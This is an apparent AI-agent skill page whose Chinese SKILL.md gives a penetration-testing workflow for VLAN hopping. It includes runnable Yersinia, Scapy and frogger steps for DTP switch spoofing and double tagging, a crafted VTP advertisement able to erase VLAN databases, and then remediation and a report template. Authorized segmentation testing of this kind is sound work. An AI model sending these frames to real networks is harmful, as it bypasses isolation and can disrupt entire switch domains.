performing-vlan-hopping-attack

在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。

9 stars

Best use case

performing-vlan-hopping-attack is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。

Teams using performing-vlan-hopping-attack should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-vlan-hopping-attack/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-vlan-hopping-attack/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-vlan-hopping-attack/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-vlan-hopping-attack Compares

Feature / Agentperforming-vlan-hopping-attackStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行 VLAN 跳转攻击

## 适用场景

- 在授权渗透测试中测试基于 VLAN 的网络分段有效性
- 验证交换机干道端口配置是否能防止未授权的 VLAN 访问
- 评估 802.1Q 标签和本征 VLAN(Native VLAN)配置是否能抵御双标签攻击
- 向网络团队演示为何正确的交换机加固对区域间隔离至关重要
- 验证所有接入端口是否已禁用 DTP(Dynamic Trunking Protocol,动态中继协议)

**不要在**未获明确授权和变更管理批准的生产交换机上使用,不要针对无安全控制的关键基础设施 VLAN(SCADA、医疗设备),不要将其用作拒绝服务攻击手段。

## 前置条件

- 明确指定目标 VLAN 和测试交换机范围的书面授权
- 可物理或虚拟访问目标网络的交换机接入端口
- 在 Kali Linux 上安装了 Yersinia、Scapy 和 frogger VLAN 跳转工具
- 了解 802.1Q 中继、DTP 和帧级别的 VLAN 标签
- 可访问交换机 CLI 进行配置验证(只读权限即可)
- 使用 Wireshark 捕获并验证标签帧

## 工作流程

### 步骤 1:枚举 VLAN 配置

```bash
# 识别攻击者端口的当前 VLAN 分配
ip link show eth0
cat /proc/net/vlan/config 2>/dev/null

# 使用 CDP/LLDP 发现交换机信息
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null
# 或使用 lldpd
lldpcli show neighbors

# 若启用了 CDP,捕获 CDP 帧
sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

# 使用 Yersinia 发现 DTP 和 VTP 信息
sudo yersinia -G &
# 或命令行方式:
sudo yersinia dtp -attack 0 -interface eth0
# 监听 DTP 帧以获取中继协商状态

# 使用 Nmap 识别其他 VLAN 上的主机(若存在路由)
nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24
```

### 步骤 2:尝试交换机欺骗(DTP 攻击)

```bash
# 使用 Yersinia 发送 DTP 帧并协商中继
sudo yersinia dtp -attack 1 -interface eth0

# 发送 DTP Desirable 帧将接入端口转换为中继端口
# 若成功,该端口将成为承载所有 VLAN 的中继端口

# 也可使用 Scapy 构造 DTP 帧
python3 << 'PYEOF'
from scapy.all import *
from scapy.contrib.dtp import *

# 发送 DTP Desirable 帧协商中继
dtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2004) /
    DTP(tlvlist=[
        DTPDomain(type=0x0001, domain=""),
        DTPStatus(type=0x0002, status=b"\x03"),  # Desirable
        DTPType(type=0x0003, dtptype=b"\xa5"),    # 802.1Q trunk
        DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0"))
    ])
)

sendp(dtp_frame, iface="eth0", count=10, inter=1)
print("[*] DTP Desirable 帧已发送,检查是否协商为中继端口。")
PYEOF

# 若中继协商成功,捕获标签帧进行验证
sudo tcpdump -en -i eth0 'vlan' -c 10

# 创建 VLAN 子接口以访问其他 VLAN
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip addr add 10.10.10.99/24 dev eth0.10
sudo ip link set eth0.10 up

sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 10.10.20.99/24 dev eth0.20
sudo ip link set eth0.20 up

# 验证对其他 VLAN 的访问
ping -c 3 10.10.10.1
ping -c 3 10.10.20.1
```

### 步骤 3:尝试双标签攻击

```bash
# 双标签攻击的前提条件:
# 1. 攻击者位于干道的本征 VLAN
# 2. 目标 VLAN 与本征 VLAN 不同
# 3. 交换机剥离外层标签并转发带内层标签的帧

python3 << 'PYEOF'
from scapy.all import *

# 构造双标签帧
# 外层标签:本征 VLAN(如 VLAN 1)
# 内层标签:目标 VLAN(如 VLAN 20 - 服务器 VLAN)
target_ip = "10.10.20.10"
target_mac = "ff:ff:ff:ff:ff:ff"

double_tagged = (
    Ether(dst=target_mac, src=get_if_hwaddr("eth0")) /
    Dot1Q(vlan=1) /       # 外层标签:本征 VLAN(将被剥离)
    Dot1Q(vlan=20) /      # 内层标签:目标 VLAN(将被转发)
    IP(dst=target_ip, src="10.10.20.99") /
    ICMP(type=8)           # Echo request
)

# 发送双标签帧
sendp(double_tagged, iface="eth0", count=5, inter=1)
print("[*] 已发送针对 VLAN 20 的双标签帧")
print("[!] 注意:双标签攻击为单向攻击——预期不会收到响应")
PYEOF

# 使用 frogger 进行自动化 VLAN 跳转
# frogger 会识别本征 VLAN 并尝试双标签攻击
sudo frogger

# 在目标 VLAN 的监控端口上使用 Wireshark 验证
tshark -i eth1 -Y "vlan.id == 20 and icmp" -c 10
```

### 步骤 4:测试 VTP(VLAN 中继协议)攻击

```bash
python3 << 'PYEOF'
from scapy.all import *

# 构造带高修订号的 VTP 摘要通告
# 警告:若成功,可能破坏整个 VLAN 域
vtp_frame = (
    Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) /
    LLC(dsap=0xaa, ssap=0xaa, ctrl=3) /
    SNAP(OUI=0x00000c, code=0x2003) /
    Raw(load=bytes([
        0x02,                    # 版本 2
        0x01,                    # 摘要通告
        0x00,                    # Followers
        0x06,                    # 域名长度
        0x54, 0x45, 0x53, 0x54, # 域名:"TEST"
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0xFF, 0xFF, # 高修订号
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, # MD5 摘要(实验室环境使用全零)
    ]))
)

# 仅在授权实验室环境中发送
sendp(vtp_frame, iface="eth0", count=1)
print("[*] VTP 摘要通告已发送")
PYEOF
```

### 步骤 5:验证交换机配置弱点

```bash
# 在交换机上(具有读取权限),检查错误配置:

# 检查接入端口的 DTP 状态(应为 nonegotiate)
# show interfaces <interface> switchport
# 预期:Administrative Mode: static access
#       Negotiation of Trunking: Off

# 检查本征 VLAN 配置(不应为 VLAN 1)
# show interfaces trunk
# 预期:Native VLAN 不与任何用户 VLAN 匹配

# 检查 VTP 模式(应为 transparent 或 off)
# show vtp status
# 预期:VTP Mode: Transparent

# 检查未使用端口是否已禁用
# show interfaces status | include disabled

# 验证是否启用了端口安全
# show port-security
```

### 步骤 6:记录发现和修复建议

```bash
# 清理 VLAN 子接口
sudo ip link del eth0.10 2>/dev/null
sudo ip link del eth0.20 2>/dev/null

# 停止所有正在运行的攻击工具
sudo killall yersinia 2>/dev/null

# 记录所有带时间戳的测试结果
cat > vlan_hopping_report.txt << 'EOF'
VLAN 跳转测试结果
==================
测试日期:$(date)
测试人员:安全评估团队
授权文件:PENTEST-2024-0847

测试 1:DTP 交换机欺骗
  结果:存在漏洞 - 3 秒内协商为中继端口
  获取访问:VLAN 1, 10, 20, 30, 40

测试 2:双标签攻击
  结果:存在漏洞 - 帧从 VLAN 1 到达 VLAN 20
  注意:仅单向(无返回流量)

测试 3:VTP 攻击
  结果:未测试 - VTP 处于透明模式
EOF
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **VLAN 跳转(VLAN Hopping)** | 允许攻击者访问未授权 VLAN 流量的二层攻击技术,可绕过网络分段 |
| **DTP(动态中继协议)** | Cisco 专有协议,自动在交换机间协商中继链路;接入端口未禁用时易受欺骗攻击 |
| **双标签(Double Tagging)** | 使用两个 802.1Q 标签封装帧的攻击,利用交换机的本征 VLAN 处理机制将内层标签帧转发到不同 VLAN |
| **本征 VLAN(Native VLAN)** | 分配给干道端口未标签帧的 VLAN;当本征 VLAN 与用户 VLAN 相同时,可启用双标签攻击 |
| **VTP(VLAN 中继协议)** | Cisco 协议,用于在交换机间传播 VLAN 数据库变更;在服务器模式下,带更高修订号的流氓 VTP 消息可覆盖 VLAN 数据库 |
| **802.1Q** | IEEE VLAN 标签标准,在以太网帧中插入 4 字节标签,用于在干道链路上标识 VLAN 成员 |

## 工具与系统

- **Yersinia**:二层攻击框架,支持 DTP、VTP、STP、CDP、DHCP 和 802.1Q 攻击,提供 GUI 和 CLI 模式
- **Scapy**:Python 数据包操控库,用于构造自定义 802.1Q 双标签帧和 DTP 协商数据包
- **frogger**:VLAN 跳转工具,可自动发现本征 VLAN 并执行双标签攻击
- **Wireshark**:数据包分析器,用于验证 VLAN 标签内容并确认帧是否送达目标 VLAN
- **tcpdump**:命令行捕获工具,用于监控 802.1Q 标签帧以及 DTP/VTP 协议流量

## 常见场景

### 场景:测试 PCI-DSS 持卡人数据环境的 VLAN 分段

**背景**:零售商需要验证 VLAN 50 上的持卡人数据环境(CDE)是否已与企业网络(VLAN 10)和访客 WiFi(VLAN 30)正确隔离。网络使用带 802.1Q 中继的 Cisco Catalyst 交换机。评估授权从 VLAN 10 的端口进行测试。

**方法**:
1. 连接到 VLAN 10 的接入端口,监听 DTP 帧以确定中继协商状态
2. 使用 Yersinia 发送 DTP Desirable 帧——由于未禁用 DTP,端口成功协商为中继
3. 创建 VLAN 50 子接口并尝试访问 CDE 系统(10.10.50.0/24)——成功,证明分段被绕过
4. 从 VLAN 1(本征 VLAN)到 VLAN 50 尝试双标签攻击——也成功,因为本征 VLAN 是 VLAN 1
5. 记录 VLAN 分段因 DTP 错误配置而作为 PCI-DSS 控制措施失效
6. 建议在所有接入端口禁用 DTP,将本征 VLAN 更改为未使用的 VLAN,并启用端口安全

**注意事项**:
- DTP 欺骗可能引发生成树拓扑变更,中断网络连接
- 若本征 VLAN 不是 VLAN 1 或交换机配置正确,双标签可能无法成功
- 在生产环境中发动 VTP 攻击可能删除整个交换域的 VLAN,造成大规模中断
- 测试后忘记删除 VLAN 子接口,导致未授权的 VLAN 访问仍然存在

## 输出格式

```
## VLAN 跳转评估报告

**测试编号**:VLAN-HOP-2024-001
**被测交换机**:Core-SW1(Cisco Catalyst 9300)
**攻击者端口**:Gi1/0/24(VLAN 10)
**目标 VLAN**:VLAN 20(服务器),VLAN 50(CDE)

### 测试结果

| 攻击 | 目标 VLAN | 结果 | 影响 |
|------|-----------|------|------|
| DTP 交换机欺骗 | 所有 VLAN | 存在漏洞 | 获得完整中继访问 |
| 双标签攻击 | VLAN 50 | 存在漏洞 | 单向访问 CDE |
| VTP 注入 | N/A | 无漏洞 | VTP 透明模式 |

### 根本原因
1. 接入端口 Gi1/0/24 未禁用 DTP(管理模式:dynamic auto)
2. 所有干道链路的本征 VLAN 为 VLAN 1(默认值)
3. 交换机上未关闭的空闲端口

### 修复建议
1. 在所有接入端口禁用 DTP:`switchport nonegotiate`
2. 将所有接入端口设为静态模式:`switchport mode access`
3. 将本征 VLAN 更改为未使用的 VLAN:`switchport trunk native vlan 999`
4. 关闭所有未使用端口:`shutdown`
5. 在接入端口启用端口安全
6. 在所有交换机上将 VTP 设为透明模式
```

Related Skills

recovering-from-ransomware-attack

9
from killvxk/cybersecurity-skills-zh

按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。

performing-yara-rule-development-for-detection

9
from killvxk/cybersecurity-skills-zh

通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。

performing-wireless-security-assessment-with-kismet

9
from killvxk/cybersecurity-skills-zh

使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。

performing-wireless-network-penetration-test

9
from killvxk/cybersecurity-skills-zh

执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。

performing-windows-artifact-analysis-with-eric-zimmerman-tools

9
from killvxk/cybersecurity-skills-zh

使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。

performing-wifi-password-cracking-with-aircrack

9
from killvxk/cybersecurity-skills-zh

在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。

performing-web-cache-poisoning-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。

performing-web-cache-deception-attack

9
from killvxk/cybersecurity-skills-zh

通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。

performing-web-application-vulnerability-triage

9
from killvxk/cybersecurity-skills-zh

使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。

performing-web-application-scanning-with-nikto

9
from killvxk/cybersecurity-skills-zh

Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。

performing-web-application-penetration-test

9
from killvxk/cybersecurity-skills-zh

遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。

performing-web-application-firewall-bypass

9
from killvxk/cybersecurity-skills-zh

使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。